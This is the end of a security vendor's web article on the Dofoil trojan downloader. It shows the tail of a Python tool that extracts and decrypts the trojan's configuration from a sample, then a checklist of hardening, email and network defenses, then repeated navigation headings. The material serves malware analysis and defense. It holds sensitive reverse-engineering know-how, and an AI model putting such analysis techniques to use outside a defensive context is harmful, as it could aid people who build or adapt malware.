        print(f"[+] File size: {len(file_data)} bytes")
         
        # Search for potential configuration patterns
        print("[+] Searching for configuration patterns...")
        potential_configs = search_config_patterns(file_data)
         
        print(f"[+] Found {len(potential_configs)} potential configuration patterns")
         
        if not potential_configs:
            print("[-] No potential configurations found")
            return
         
        # Try to decrypt each potential configuration
        for i, config in enumerate(potential_configs):
            print(f"\n[+] Analyzing potential config {i+1} at offset: 0x{config['offset']:X}")
             
            decrypted = decrypt_config(config['data'])
            if decrypted:
                print("[+] Successfully decrypted configuration!")
                 
                # Parse the configuration
                config_info = parse_config(decrypted)
                 
                if config_info:
                    print("\n[+] Extracted Configuration Details:")
                    print("-" * 40)
                     
                    for key, value in config_info.items():
                        if isinstance(value, list):
                            print(f"{key}:")
                            for item in value:
                                print(f"  - {item}")
                        else:
                            print(f"{key}: {value}")
                 
                # Save the raw decrypted config
                output_file = f"dofoil_config_{i+1}.bin"
                with open(output_file, 'wb') as f:
                    f.write(decrypted)
                 
                print(f"[+] Raw decrypted config saved to: {output_file}")
                 
                # Display partial hexdump
                print("\n[+] First 256 bytes of decrypted config:")
                for j in range(0, min(256, len(decrypted)), 16):
                    hex_values = ' '.join([f'{b:02x}' for b in decrypted[j:j+16]])
                    ascii_values = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decrypted[j:j+16]])
                    print(f"{j:04x}:  {hex_values:<47}  |{ascii_values}|")
             
            else:
                print("[-] Failed to decrypt this configuration")
     
    except Exception as e:
        print(f"[-] Error: {e}")
 
if __name__ == "__main__":
    main()

Advanced Dofoil Prevention and Mitigation

These advanced prevention measures can help protect against Dofoil and similar trojans:

System Hardening:
- Implement Application Control/Whitelisting to prevent execution of unauthorized binaries
- Deploy Windows Defender Attack Surface Reduction rules
- Enable and properly configure Windows Defender Exploit Guard
- Apply tamper protection for security solutions
Email Protection:
- Block macro-enabled documents from external sources
- Implement attachment sandboxing and detonation technology
- Deploy anti-phishing training and simulations
- Configure SPF, DKIM, and DMARC email authentication properly
Network Defenses:
- Implement DNS filtering to block connections to known malicious domains
- Deploy SSL/TLS inspection where privacy policies allow
- Configure egress filtering to restrict outbound connections to suspicious IP ranges
- Employ network behavior analysis to detect C2 traffic patterns
Advanced Endpoint Protection:
- Configure memory protection and suspicious process monitoring
- Implement next-generation antivirus with behavioral detection
- Deploy EDR solutions with automated response capabilities
- Enable real-time file integrity monitoring

These technical details provide security researchers and IT professionals with the information needed to understand, detect, and effectively respond to Dofoil infections in their environments.

How to Remove TrojanDownloader:Win32/Dofoil

What is TrojanDownloader:Win32/Dofoil?

Interesting Facts About Dofoil Trojan

How TrojanDownloader:Win32/Dofoil Spreads

Signs of TrojanDownloader:Win32/Dofoil Infection

Dangers of TrojanDownloader:Win32/Dofoil

How to Remove TrojanDownloader:Win32/Dofoil

1. Removal Using Trojan Killer

2. Manual Removal

3. Additional Cleanup Steps

Technical Details of TrojanDownloader:Win32/Dofoil

Preventing TrojanDownloader:Win32/Dofoil Infection

Frequently Asked Questions

Can Dofoil steal my banking information?

How dangerous is Dofoil compared to other trojans?

Why does Dofoil use spam emails with fake attachments?

Can Trojan Killer remove all variants of Dofoil?

What should I do after removing Dofoil?

Advanced Technical Analysis of Dofoil Trojan (For Security Researchers)

Dofoil Technical Architecture

Dofoil Anti-Analysis Techniques

Dofoil Command and Control Protocol

Domain Generation Algorithm

Indicators of Compromise (IoCs)

File System Artifacts

Network Indicators

YARA Rules for Dofoil Detection

Memory Forensics for Dofoil Detection

Dofoil Network Traffic Analysis

Dofoil Configuration Extractor

Advanced Dofoil Prevention and Mitigation

Gridinsoft Team

Leave a ReplyCancel Reply

What is TrojanDownloader:Win32/Dofoil?

Interesting Facts About Dofoil Trojan

How TrojanDownloader:Win32/Dofoil Spreads

Signs of TrojanDownloader:Win32/Dofoil Infection

Dangers of TrojanDownloader:Win32/Dofoil

How to Remove TrojanDownloader:Win32/Dofoil

1. Removal Using Trojan Killer

2. Manual Removal

3. Additional Cleanup Steps

Technical Details of TrojanDownloader:Win32/Dofoil

Preventing TrojanDownloader:Win32/Dofoil Infection

Frequently Asked Questions

Can Dofoil steal my banking information?

How dangerous is Dofoil compared to other trojans?

Why does Dofoil use spam emails with fake attachments?

Can Trojan Killer remove all variants of Dofoil?

What should I do after removing Dofoil?

Advanced Technical Analysis of Dofoil Trojan (For Security Researchers)

Dofoil Technical Architecture

Dofoil Anti-Analysis Techniques

Dofoil Command and Control Protocol

Domain Generation Algorithm

Indicators of Compromise (IoCs)

File System Artifacts

Network Indicators

YARA Rules for Dofoil Detection

Memory Forensics for Dofoil Detection

Dofoil Network Traffic Analysis

Dofoil Configuration Extractor

Advanced Dofoil Prevention and Mitigation

Gridinsoft Team

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